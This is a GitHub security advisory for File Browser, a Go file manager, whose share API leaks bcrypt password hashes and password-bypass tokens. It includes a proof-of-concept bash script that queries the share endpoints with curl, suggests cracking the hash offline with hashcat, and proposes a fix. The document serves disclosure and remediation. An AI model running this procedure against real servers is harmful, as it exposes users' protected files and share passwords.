GitHub Advisoryadvisory · Go

GHSA-833g-cqhp-h72j File Browser: Share API exposes the password hash and bypass token

LOW Published 2026-07-20 Modified 2026-07-20 Official page ↗
Aliases
CVE-2026-62684
Ecosystem
Go
Packages
github.com/filebrowser/filebrowser/v2
Severity
Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Weaknesses
CWE-200, CWE-522
Reviewed
2026-07-20

Affected packages

• Go github.com/filebrowser/filebrowser/v2: < 2.63.17 → fixed in 2.63.17

Description

Summary When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt `password_hash` and the secret `token` of the share. The `Link` storage struct is serialized directly with `json.Marshal` and tags `password_hash` and `token` for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via `GET /api/shares` receives the password hash and bypass token for every user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares. Details 1. The `Link` struct serializes both secrets to JSON (`share/share.go:10-19`) ```go type Link struct { Hash string `json:"hash" storm:"id,index"` Path string `json:"path" storm:"index"` UserID uint `json:"userID"` Expire int64 `json:"expire"` PasswordHash string `json:"password_hash,omitempty"` // line 15, bcrypt hash exposed // Token is only set when PasswordHash is set; it bypasses the password. Token string `json:"token,omitempty"` // line 19, bypass token exposed } ``` `omitempty` means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share. 2. The share handlers return the full struct through unfiltered `json.Marshal` `sharePostHandler` returns the created `Link` with `renderJSON(w, r, s)` (`http/share.go:179`); `shareListHandler` and `shareGetsHandler` return shares the same way (`http/share.go:55`, `http/share.go:76`). `renderJSON` performs an unfiltered `json.Marshal(data)` (`http/utils.go:16`), so every tagged field, including `password_hash` and `token`, reaches the client. 3. Administrators receive every user's secrets (`http/share.go:36`) ```go s, err = d.store.Share.All() // admin path: returns ALL users' shares // ... return renderJSON(w, r, s) // including each share's password_hash and token ``` An admin calling `GET /api/shares` receives the bcrypt hash and bypass token for all shares across all users. PoC Tested against `filebrowser/filebrowser:v2.63.15`. Attack Vector: read the bcrypt hash and bypass token from the share API: ```bash 1. Seed a file in /tmp and start a fresh v2.63.15 container mkdir -p /tmp/filebrowser-test/srv/user1 echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4 B=http://localhost:8090 2. Log in as admin AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}') T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}") 3. Create a password-protected share curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \ -d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}' 4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token) curl -s "$B/api/shares" -H "X-Auth: $T" ``` The returned bcrypt hash cracks offline (`hashcat -m 3200`) to recover the share password, and the `token` opens the protected share directly without the password. Expected output (reproduced on a fresh `filebrowser-test` container, v2.63.15): Both the `POST /api/share/...` response and the `GET /api/shares` response return HTTP 200 with a body that includes the full bcrypt `password_hash` and the 128-character bypass `token`: ```http POST /api/share/user1/readme.txt -> 200 GET /api/shares -> 200 { "hash": "yy9159Cs", "path": "/user1/readme.txt", "userID": 1, "expire": 1781758642, "password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla", "token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..." } ``` The hash cracks offline to the known password (`bcrypt.checkpw(b"ShareSecret123!", hash) == True`, `hashcat -m 3200`), and the `token` grants direct access to the password-protected share without knowing the password. Impact • Offline password cracking: the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline. • Password-bypass token leak: the `token` is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly. • Admin sees everyone's secrets: `GET /api/shares` as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants. • Credential reuse risk: users who reuse an account or service password as a share password expose that password to offline recovery. Recommended Fix Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side: ```go // share/share.go type Link struct { Hash string `json:"hash" storm:"id,index"` Path string `json:"path" storm:"index"` UserID uint `json:"userID"` Expire int64 `json:"expire"` PasswordHash string `json:"-" storm:"index"` // never serialize Token string `json:"-"` // never serialize in list responses } ``` `PasswordHash` and `Token` are only needed server-side (for `bcrypt.CompareHashAndPassword` and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived `HasPassword bool` instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.

Related

Alias · CVE (1)

  • CVE-2026-62684 File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. vulnerability

Weakness · CWE (2)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
  • CWE-522 Insufficiently Protected Credentials weakness

References